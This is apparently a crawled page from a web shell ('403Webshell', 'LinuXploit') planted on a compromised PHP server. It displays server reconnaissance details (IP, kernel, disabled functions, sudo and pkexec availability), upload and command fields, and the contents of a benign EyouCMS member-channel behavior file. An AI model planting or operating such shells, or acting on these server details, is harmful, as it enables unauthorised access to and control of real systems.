403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2026_03_09_03/application/user/behavior/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2026_03_09_03/application/user/behavior/ActionBeginBehavior.php
<?php

namespace app\user\behavior;

/**
 * 系统行为扩展:新增/更新/删除之后的后置操作
 */
class ActionBeginBehavior {
    protected static $actionName;
    protected static $controllerName;
    protected static $moduleName;
    protected static $method;

    /**
     * 构造方法
     * @param Request $request Request对象
     * @access public
     */
    public function __construct()
    {

    }

    // 行为扩展的执行入口必须是run
    public function run(&$params){
        self::$actionName = request()->action();
        self::$controllerName = request()->controller();
        self::$moduleName = request()->module();
        self::$method = request()->method();
        $this->_initialize();
    }

    private function _initialize() {
        if ('GET' == self::$method) {
            $this->reg_origin();
        } else if ('POST' == self::$method) {
            $this->logout_origin();
        }
    }

    /**
     * 标记来自不同项目的注册会员渠道
     * @access private
     */
    private function reg_origin()
    {
        /*特定场景专用*/
        $opencodetype = config('global.opencodetype');
        if (1 == $opencodetype) {
            if (self::$controllerName == 'Users' && self::$actionName == 'login') {
                $origin_type = 0;
                $origin_mid = 0;
                $origin_query = input('param.origin_query/s');
                if (!empty($origin_query)) {
                    $origin_query = mchStrCode($origin_query, 'DECODE', '#$eyoucms%^');
                    $origin_arr = explode('|', $origin_query);
                    $origin_type = !empty($origin_arr[0]) ? intval($origin_arr[0]) : 0;
                    $origin_mid = !empty($origin_arr[1]) ? intval($origin_arr[1]) : 0;
                }

                if (!empty($origin_type)) {
                    cookie('origin_type', $origin_type);
                    cookie('origin_mid', $origin_mid);
                } else {
                    cookie('origin_type', null);
                    cookie('origin_mid', null);
                }
            }
        }
    }

    /**
     * 退出清除的注册会员渠道标记
     * @access private
     */
    private function logout_origin()
    {
        /*特定场景专用*/
        $opencodetype = config('global.opencodetype');
        if (1 == $opencodetype) {
            if (self::$controllerName == 'Users' && self::$actionName == 'logout') {
                cookie('origin_type', null);
                cookie('origin_mid', null);
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit